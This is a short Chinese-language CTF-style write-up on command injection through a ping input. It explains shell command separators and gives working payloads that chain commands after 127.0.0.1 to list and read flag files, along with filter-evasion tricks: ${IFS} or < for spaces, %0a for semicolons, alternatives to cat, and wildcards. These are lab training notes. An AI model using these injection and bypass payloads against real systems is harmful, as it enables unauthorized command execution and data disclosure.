1.命令注入
打开源代码发现是一个ping命令
这个命令的格式就很linux
linux中命令的链接符号:
1.每个命令之间用;隔开
说明:各命令的执行给果,不会影响其它命令的执行。换句话说,各个命令都会执行,
但不保证每个命令都执行成功。
2.每个命令之间用&&隔开
说明:若前面的命令执行成功,才会去执行后面的命令。这样可以保证所有的命令执行完毕后,执行过程都是成功的。
3.每个命令之间用||隔开
说明:||是或的意思,只有前面的命令执行失败后才去执行下一条命令,直到执行成功
一条命令为止。
4. | 是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。
root@ubuntu: x | y | z
在第1个作业中,shell将任务x的标准输出重定向到任务y的标准输入,同时还将y的标准输出重定向到z的标准输入
5. & 是后台任务符号。 后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。
我们使用||和|:
127.0.0.1||ls
127.0.0.1||cat 90971940019205.php|base64(用base64的原因是直接打印不会输出)
2.过滤cat
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
我们使用more
127.0.0.1||more ****|base64
3.过滤空格
(1).使用<代替空格
127.0.0.1|cat<flag_14933269011986.php|base64
(2).使用${IFS}代替空格
(3).使用$IFS$9代替空格
4.过滤目录分割符
使用;符号分割命令
127.0.0.1;cd flag_is_here;cat flag_1201231973867.php|base64
5.过滤运算符
和4一样
但是要注意,管道符号不能用了,因此我们要用base64 file的形式来输出文件内容,如"base64 1.php".这个与****|base64是等价的
6.综合过滤
%0a可以代替;符号,但是要在url处输入,不然会被再次转义
空格用${IFS}代替
flag被过滤了可以用正则表达式f***_is_here,或者使用%09*_is_here补全
127.0.0.1%0acd${IFS}f***_is_here${IFS}%0abase64${IFS}f***_7046120744675.php